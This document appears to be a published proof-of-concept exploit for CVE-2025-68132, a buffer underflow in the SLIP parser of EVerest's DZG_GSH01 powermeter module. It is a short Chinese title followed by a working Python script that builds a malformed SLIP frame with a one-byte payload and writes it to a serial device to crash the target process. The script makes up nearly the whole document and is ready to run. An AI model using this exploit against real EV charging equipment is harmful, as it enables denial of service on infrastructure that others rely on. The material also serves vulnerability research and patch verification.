CVE-2025-68132 EVerest SLIP解析器缓冲区下溢漏洞

#!/usr/bin/env python3 """ CVE-2025-68132 PoC - EVerest SLIP Parser Buffer Underflow This PoC generates a malformed SLIP frame to trigger buffer underflow in EVerest's DZG_GSH01 powermeter SLIP parser. """ import serial import struct def create_malformed_slip_frame(payload_size): """ Create a malformed SLIP frame with insufficient payload size. SLIP frame format: END byte + data + END byte """ # SLIP END character (0xC0) END = 0xC0 ESC = 0xDB ESC_END = 0xDC ESC_ESC = 0xDD # Create payload with size < 2 to trigger the bug payload = b'\x00' * payload_size # Encode payload with SLIP escaping (simplified) encoded_payload = b'' for byte in payload: if byte == END: encoded_payload += bytes([ESC, ESC_END]) elif byte == ESC: encoded_payload += bytes([ESC, ESC_ESC]) else: encoded_payload += bytes([byte]) # Construct SLIP frame: END + encoded_payload + END slip_frame = bytes([END]) + encoded_payload + bytes([END]) return slip_frame def exploit(target_device='/dev/ttyUSB0', baudrate=115200): """ Send malformed SLIP frame to trigger buffer underflow. """ print(f"[*] Targeting: {target_device} at {baudrate} baud") print("[*] Creating malformed SLIP frame with payload size = 1") # Create frame with payload size = 1 (less than 2 required) malicious_frame = create_malformed_slip_frame(payload_size=1) print(f"[*] Malicious frame length: {len(malicious_frame)} bytes") print(f"[*] Frame hex: {malicious_frame.hex()}") try: ser = serial.Serial(target_device, baudrate, timeout=1) print("[*] Serial connection established") # Send the malformed SLIP frame ser.write(malicious_frame) print("[*] Malformed SLIP frame sent") print("[*] Target process should crash due to buffer underflow") ser.close() except serial.SerialException as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": # Target configuration - modify for your environment exploit(target_device='/dev/ttyUSB0', baudrate=115200)